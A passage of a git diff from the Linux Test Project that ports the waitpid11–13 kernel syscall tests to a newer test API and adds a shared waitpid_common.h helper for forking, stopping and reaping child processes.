-			for (k = 0; k < kid_count; k++) {
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			}
-			fail = 1;
-		}
-	}
-
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected 4 got %d", kid_count);
-		fail = 1;
-	}
-
-	/* Make sure can pickup children in a diff. process group */
-
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-(group1), &status, 0)) != -1) ||
-	       (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			fail = 1;
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d exited with "
-					 "wrong status", ret_val);
-				tst_resm(TFAIL, "Expected 3 got %d",
-					 WEXITSTATUS(status));
-				fail = 1;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < (MAXKIDS / 2); j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a fork_kid_pid "
-				 "for the wait_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++)
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			for (k = 0; k < kid_count; k++)
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			fail = 1;
-		}
-	}
-
-	memset(fork_kid_pid, 0, sizeof(fork_kid_pid));
-
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected 4 got %d", kid_count);
-		fail = 1;
-	}
-
-	if (fail)
-		tst_resm(TFAIL, "Test FAILED");
-	else
-		tst_resm(TPASS, "Test PASSED");
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup_sigint(void)
-{
-	if (signal(SIGINT, inthandlr) == SIG_ERR)
-		tst_brkm(TFAIL | TERRNO, NULL, "signal SIGINT failed");
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
+	pid_t pid, group;
 	int i;
 
+	group = SAFE_GETPGID(0);
+
 	for (i = 0; i < MAXKIDS; i++) {
-		if (fork_kid_pid[i] > 0)
-			kill(fork_kid_pid[i], SIGKILL);
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
+
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(0);
+
+		fork_kid_pid[i] = pid;
 	}
+
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
+
+	if (TST_TRACE(reap_children(0, 0, fork_kid_pid + MAXKIDS/2, MAXKIDS/2)))
+		return;
+
+	/* Make sure can pickup children in a diff. process group */
+	if (TST_TRACE(reap_children(-group, 0, fork_kid_pid, MAXKIDS / 2)))
+		return;
+
+	tst_res(TPASS, "Test PASSED");
 }
 
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
-}
-
-#ifdef UCLINUX
-static void do_exit_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
+static struct tst_test test = {
+	.tid = "waitpid11",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid12.c b/testcases/kernel/syscalls/waitpid/waitpid12.c
index bf64662..b2db49d 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid12.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid12.c
@@ -1,329 +1,80 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid12.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same
- *
- * ALGORITHM
- *	Check proper functioning of waitpid with pid = -1 and arg = WNOHANG
- *
- * USAGE:  <for command-line>
- *      waitpid12 [-c n] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset testx for SIG_ERR not < 0, TPASS|TFAIL issued
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
+/*
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = 0 and < -1 with arg
+ *	WNOHANG
+ */
 
-#define	MAXKIDS	8
+#include "waitpid_common.h"
 
-char *TCID = "waitpid12";
-int TST_TOTAL = 1;
-
-volatile int intintr;
-static void setup(void);
-static void cleanup(void);
-static void inthandlr();
-static void wait_for_parent(void);
-static void do_exit(void);
-static void setup_sigint(void);
-#ifdef UCLINUX
-static void do_exit_uclinux(void);
-#endif
-
-static int fail;
-
-int main(int argc, char **argv)
+static void do_child_1(void)
 {
-	int kid_count, ret_val, status;
-	int i, j, k, found;
-	int group1, group2;
-	int fork_kid_pid[MAXKIDS], wait_kid_pid[MAXKIDS];
-	int pid;
+	pid_t pid, group;
+	int i;
+	int status;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	group = SAFE_GETPGID(0);
 
-#ifdef UCLINUX
-	maybe_run_child(&do_exit_uclinux, "");
-#endif
+	for (i = 0; i < MAXKIDS; i++) {
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
 
-	setup();
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(0);
 
-	tst_count = 0;
-	fail = 0;
-
-	/*
-	 * Need to have test run from child as test driver causes
-	 * test to be a session leader and setpgrp fails.
-	 */
-
-	pid = FORK_OR_VFORK();
-	if (pid > 0) {
-		waitpid(pid, &status, 0);
-		if (WEXITSTATUS(status) != 0) {
-			tst_resm(TFAIL, "child returned bad status");
-			fail = 1;
-		}
-		if (fail)
-			tst_resm(TFAIL, "%s FAILED", TCID);
-		else
-			tst_resm(TPASS, "%s PASSED", TCID);
-		cleanup();
-		tst_exit();
-	} else if (pid < 0) {
-		tst_brkm(TBROK, cleanup, "fork failed");
+		fork_kid_pid[i] = pid;
 	}
 
-	/*
-	 * Set up to catch SIGINT.  The kids will wait till a SIGINT
-	 * has been received before they proceed.
-	 */
-	setup_sigint();
+	if (TST_TRACE(waitpid_ret_test(0, &status, WNOHANG, 0, 0)))
+		return;
 
-	group1 = getpgrp();
+	if (TST_TRACE(waitpid_ret_test(-group, &status, WNOHANG, 0, 0)))
+		return;
 
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "") < 0)
-				tst_resm(TFAIL, "self_exec kid %d "
-					 "failed", kid_count);
-#else
-			do_exit();
-#endif
-		}
+	if (TST_TRACE(reap_children(0, WNOHANG, fork_kid_pid + (MAXKIDS / 2),
+				    MAXKIDS / 2)))
+		return;
 
-		if (ret_val < 0)
-			tst_resm(TFAIL | TERRNO, "forking kid %d failed",
-				 kid_count);
+	if (TST_TRACE(reap_children(-group, WNOHANG, fork_kid_pid,
+				    MAXKIDS / 2)))
+		return;
 
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
-	}
-
-	/* Check that waitpid with WNOHANG returns zero */
-	ret_val = waitpid(0, &status, WNOHANG);
-	if (ret_val != 0) {
-		tst_resm(TFAIL, "Waitpid returned wrong value");
-		tst_resm(TFAIL, "Expected 0 got %d", ret_val);
-		fail = 1;
-	}
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
-
-	/* Now send all the kids a SIGINT to tell them to proceed */
-	for (i = 0; i < MAXKIDS; i++)
-		if (kill(fork_kid_pid[i], SIGINT) < 0)
-			tst_resm(TFAIL | TERRNO, "killing child %d failed", i);
-
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	sleep(2);
-	while (((ret_val = waitpid(0, &status, WNOHANG)) != -1) ||
-	       (errno == EINTR)) {
-		if ((ret_val == -1) || (ret_val == 0))
-			continue;
-
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			fail = 1;
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d exited with "
-					 "wrong status", ret_val);
-				tst_resm(TFAIL, "Expected 3 got %d",
-					 WEXITSTATUS(status));
-				fail = 1;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = (MAXKIDS / 2); j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a wait_kid_pid "
-				 "for the fork_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++)
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			for (k = 0; k < kid_count; k++)
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			fail = 1;
-		}
-	}
-
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected 4 got %d", kid_count);
-		fail = 1;
-	}
-
-	/* Make sure can pickup children in a diff. process group */
-
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-(group1), &status, WNOHANG)) !=
-		-1) || (errno == EINTR)) {
-		if (ret_val == -1 || ret_val == 0)
-			continue;
-
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			fail = 1;
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d exited with "
-					 "wrong status", ret_val);
-				tst_resm(TFAIL, "Expected 3 got %d",
-					 WEXITSTATUS(status));
-				fail = 1;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < (MAXKIDS / 2); j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a wait_kid_pid "
-				 "for the fork_kid_pid of %d", fork_kid_pid[j]);
-			for (k = 0; k < MAXKIDS; k++)
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			for (k = 0; k < kid_count; k++)
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			fail = 1;
-		}
-	}
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected 4 got %d", kid_count);
-		fail = 1;
-	}
-
-	if (fail)
-		tst_resm(TFAIL, "Test FAILED");
-	else
-		tst_resm(TPASS, "Test PASSED");
-
-	tst_exit();
+	tst_res(TPASS, "Test PASSED");
 }
 
-static void setup_sigint(void)
-{
-	if (signal(SIGINT, inthandlr) == SIG_ERR)
-		tst_brkm(TFAIL | TERRNO, NULL, "signal SIGINT failed");
-}
-
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
-}
-
-#ifdef UCLINUX
-static void do_exit_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
+static struct tst_test test = {
+	.tid = "waitpid12",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid13.c b/testcases/kernel/syscalls/waitpid/waitpid13.c
index 5f03592..79a99eb 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid13.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid13.c
@@ -1,382 +1,80 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid13.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same
- *
- * ALGORITHM
- *	Check proper functioning of waitpid with pid = 0 and < -1 with arg
- *	WUNTRACED
- *
- * USAGE:  <for command-line>
- *      waitpid13 [-c n] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
+/*
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = 0 and < -1 with arg
+ *	WUNTRACED
+ */
 
-#define	MAXKIDS	8
+#include "waitpid_common.h"
 
-char *TCID = "waitpid13";
-int TST_TOTAL = 1;
-
-volatile int intintr;
-static void setup(void);
-static void cleanup(void);
-static void inthandlr();
-static void wait_for_parent(void);
-static void do_exit(void);
-static void setup_sigint(void);
-#ifdef UCLINUX
-static void do_exit_uclinux(void);
-#endif
-
-static int fail;
-
-int main(int ac, char **av)
+static void do_child_1(void)
 {
-	int kid_count, ret_val, status;
-	int i, j, k, found;
-	int group1, group2;
-	int fork_kid_pid[MAXKIDS], wait_kid_pid[MAXKIDS];
-	int pid;
+	pid_t pid, group;
+	int i;
+	int status;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	group = SAFE_GETPGID(0);
 
-#ifdef UCLINUX
-	maybe_run_child(&do_exit_uclinux, "");
-#endif
-
-	setup();
-
-	tst_count = 0;
-	fail = 0;
-
-	/*
-	 * Need to have test run from child as test driver causes
-	 * test to be a session leader and setpgrp fails.
-	 */
-	pid = FORK_OR_VFORK();
-	if (pid > 0) {
-		waitpid(pid, &status, 0);
-		if (WEXITSTATUS(status) != 0) {
-			tst_resm(TFAIL, "child returned bad status");
-			fail = 1;
-		}
-		if (fail)
-			tst_resm(TFAIL, "%s FAILED", TCID);
-		else
-			tst_resm(TPASS, "%s PASSED", TCID);
-
-		cleanup();
-		tst_exit();
-	} else if (pid < 0) {
-		tst_brkm(TBROK, cleanup, "fork failed");
-	}
-
-	/*
-	 * Set up to catch SIGINT.  The kids will wait till a SIGINT
-	 * has been received before they proceed.
-	 */
-	setup_sigint();
-
-	group1 = getpgrp();
-
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
-
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {
-#ifdef UCLINUX
-			if (self_exec(av[0], "") < 0) {
-				tst_resm(TFAIL | TERRNO, "self_exec kid %d "
-					 "failed", kid_count);
-
-			}
-#else
-			do_exit();
-#endif
-		}
-
-		if (ret_val < 0)
-			tst_resm(TFAIL | TERRNO, "forking kid %d failed",
-				 kid_count);
-
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
-	}
-
-	/* Check that waitpid with WNOHANG|WUNTRACED returns zero */
-	ret_val = waitpid(0, &status, WNOHANG | WUNTRACED);
-	if (ret_val != 0) {
-		tst_resm(TFAIL, "Waitpid returned wrong value"
-			 "from waitpid(WNOHANG|WUNTRACED)");
-		tst_resm(TFAIL, "Expected 0 got %d", ret_val);
-		fail = 1;
-	}
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
-
-	/* Now send all the kids a SIGINT to tell them to proceed */
 	for (i = 0; i < MAXKIDS; i++) {
-		if (kill(fork_kid_pid[i], SIGINT) < 0) {
-			tst_resm(TFAIL | TERRNO, "killing child %d failed", i);
-			fail = 1;
-		}
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
+
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(1);
+
+		fork_kid_pid[i] = pid;
 	}
 
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(0, &status, WUNTRACED)) != -1) ||
-	       (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
+	if (TST_TRACE(waitpid_ret_test(0, &status, WNOHANG | WUNTRACED, 0, 0)))
+		return;
 
-		if (!WIFEXITED(status)) {
-			if (!WIFSTOPPED(status)) {
-				tst_resm(TFAIL, "Child %d is not "
-					 "stopped", ret_val);
-				fail = 1;
-			} else {
-				if (WSTOPSIG(status) != SIGSTOP) {
-					tst_resm(TFAIL, "Child %d "
-						 "exited with wrong "
-						 "status", ret_val);
-					tst_resm(TFAIL, "Expected "
-						 "SIGSTOP got %d",
-						 WEXITSTATUS(status));
-					fail = 1;
-				}
-			}
-			if (kill(ret_val, SIGCONT) < 0) {
-				tst_resm(TFAIL | TERRNO,
-					 "killing child %d failed", ret_val);
-				fail = 1;
-			}
-		}
-		found = 0;
-		for (j = 0; j < kid_count; j++) {
-			if (ret_val == wait_kid_pid[j]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found)
-			wait_kid_pid[kid_count++] = ret_val;
-	}
+	if (TST_TRACE(waitpid_ret_test(-group, &status, WNOHANG | WUNTRACED,
+				       0, 0)))
+		return;
 
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = (MAXKIDS / 2); j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a wait_kid_pid "
-				 "for the fork_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++)
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			for (k = 0; k < kid_count; k++)
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			fail = 1;
-		}
-	}
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected %d got %d", MAXKIDS, kid_count);
-		fail = 1;
-	}
+	if (TST_TRACE(reap_children(0, WUNTRACED, fork_kid_pid + (MAXKIDS / 2),
+				    MAXKIDS / 2)))
+		return;
 
-	/* Make sure can pickup children in a diff. process group */
+	if (TST_TRACE(reap_children(-group, WUNTRACED, fork_kid_pid,
+				    MAXKIDS / 2)))
+		return;
 
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-(group1), &status, WUNTRACED)) !=
-		-1) || (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
-		if (!WIFEXITED(status)) {
-			if (!WIFSTOPPED(status)) {
-				tst_resm(TFAIL, "Child %d is not "
-					 "stopped", ret_val);
-				fail = 1;
-			} else {
-				if (WSTOPSIG(status) != SIGSTOP) {
-					tst_resm(TFAIL, "Child %d "
-						 "exited with wrong "
-						 "status", ret_val);
-					tst_resm(TFAIL, "Expected "
-						 "SIGSTOP got %d",
-						 WEXITSTATUS(status));
-					fail = 1;
-				}
-			}
-			if (kill(ret_val, SIGCONT) < 0) {
-				tst_resm(TFAIL | TERRNO,
-					 "Killing child %d failed", ret_val);
-				fail = 1;
-			}
-		}
-		found = 0;
-		for (j = 0; j < kid_count; j++) {
-			if (ret_val == wait_kid_pid[j]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found)
-			wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < (MAXKIDS / 2); j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a wait_kid_pid "
-				 "for the fork_kid_pid of %d", fork_kid_pid[j]);
-			for (k = 0; k < MAXKIDS; k++)
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			for (k = 0; k < kid_count; k++)
-				tst_resm(TFAIL, "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			fail = 1;
-		}
-	}
-	if (kid_count != (MAXKIDS / 2)) {
-		tst_resm(TFAIL, "Wrong number of children waited on "
-			 "for pid = 0");
-		tst_resm(TFAIL, "Expected %d got %d", MAXKIDS, kid_count);
-		fail = 1;
-	}
-
-	/*
-	 * Check that waitpid(WUNTRACED) returns -1 when no stopped
-	 * children
-	 */
-	ret_val = waitpid(-1, &status, WUNTRACED);
-	if (ret_val != -1) {
-		tst_resm(TFAIL, "Waitpid returned wrong value.");
-		tst_resm(TFAIL, "Expected -1 got %d", ret_val);
-		fail = 1;
-	}
-
-	if (errno != ECHILD) {
-		tst_resm(TFAIL, "Expected ECHILD from waitpid(WUNTRACED)");
-		fail = 1;
-	}
-
-	if (fail)
-		tst_resm(TFAIL, "Test FAILED");
-	else
-		tst_resm(TPASS, "Test PASSED");
-
-	tst_exit();
+	tst_res(TPASS, "Test PASSED");
 }
 
-static void setup_sigint(void)
-{
-	if (signal(SIGINT, inthandlr) == SIG_ERR)
-		tst_brkm(TFAIL | TERRNO, NULL, "signal SIGINT failed");
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	kill(getpid(), SIGSTOP);
-	exit(3);
-}
-
-#ifdef UCLINUX
-static void do_exit_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
+static struct tst_test test = {
+	.tid = "waitpid13",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid_common.h b/testcases/kernel/syscalls/waitpid/waitpid_common.h
new file mode 100644
index 0000000..1e600ae
--- /dev/null
+++ b/testcases/kernel/syscalls/waitpid/waitpid_common.h
@@ -0,0 +1,187 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * Licensed under the GNU GPLv2 or later.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ */
+
+#ifndef WAITPID_COMMON_H__
+#define WAITPID_COMMON_H__
+
+#include <sys/types.h>
+#include <errno.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include "tst_test.h"
+
+#define	MAXKIDS	8
+
+static pid_t *fork_kid_pid;
+static pid_t child_1_pid;
+
+static void do_child_1(void);
+
+static void waitpid_setup(void)
+{
+	fork_kid_pid = SAFE_MMAP(NULL, sizeof(*fork_kid_pid) * MAXKIDS,
+				 PROT_READ | PROT_WRITE,
+				 MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+}
+
+static void waitpid_cleanup(void)
+{
+	int i;
+
+	for (i = 0; i < MAXKIDS; i++) {
+		if (fork_kid_pid[i] > 0)
+			kill(fork_kid_pid[i], SIGKILL);
+	}
+
+	if (child_1_pid > 0)
+		kill(child_1_pid, SIGKILL);
+
+	munmap(fork_kid_pid, sizeof(*fork_kid_pid) * MAXKIDS);
+}
+
+static void waitpid_test(void)
+{
+	child_1_pid = SAFE_FORK();
+	if (child_1_pid == 0) {
+		do_child_1();
+	} else {
+		tst_reap_children();
+		child_1_pid = 0;
+	}
+}
+
+static void do_exit(int stop)
+{
+	TST_CHECKPOINT_WAIT(0);
+
+	if (stop)
+		kill(getpid(), SIGSTOP);
+
+	exit(3);
+}
+
+static int waitpid_errno_check(int err, int exp_err)
+{
+	if (err != exp_err) {
+		tst_res(TFAIL, "waitpid() set errno to %s, expected %s",
+			tst_strerrno(err), tst_strerrno(exp_err));
+		return -1;
+	}
+
+	return 0;
+}
+
+int waitpid_ret_test(pid_t wp_pid, int *wp_status, int wp_opts,
+		     pid_t wp_ret, int wp_errno)
+{
+	pid_t ret;
+
+	ret = waitpid(wp_pid, wp_status, wp_opts);
+	if (ret != wp_ret) {
+		tst_res(TFAIL, "waitpid() returned %d, expected %d",
+			ret, wp_ret);
+		return -1;
+	}
+
+	if ((ret == -1) && waitpid_errno_check(errno, wp_errno))
+		return -1;
+
+	return 0;
+}
+
+static int reap_children(pid_t wp_pid, int wp_opts, pid_t *children, int len)
+{
+	pid_t pid;
+	int i;
+	int status;
+
+	for (;;) {
+		pid = waitpid(wp_pid, &status, wp_opts);
+
+		if (pid == -1) {
+			if (errno == EINTR)
+				continue;
+
+			if (waitpid_errno_check(errno, ECHILD))
+				return -1;
+
+			break;
+		}
+
+		if (pid == 0) {
+			if (wp_opts & WNOHANG)
+				continue;
+
+			tst_res(TFAIL, "waitpid() returned 0 unexpectedly");
+			return -1;
+		}
+
+		if (WIFSTOPPED(status)) {
+			if (WSTOPSIG(status) != SIGSTOP) {
+				tst_res(TFAIL,
+					"Pid %d: expected SIGSTOP, got %d",
+					pid, WSTOPSIG(status));
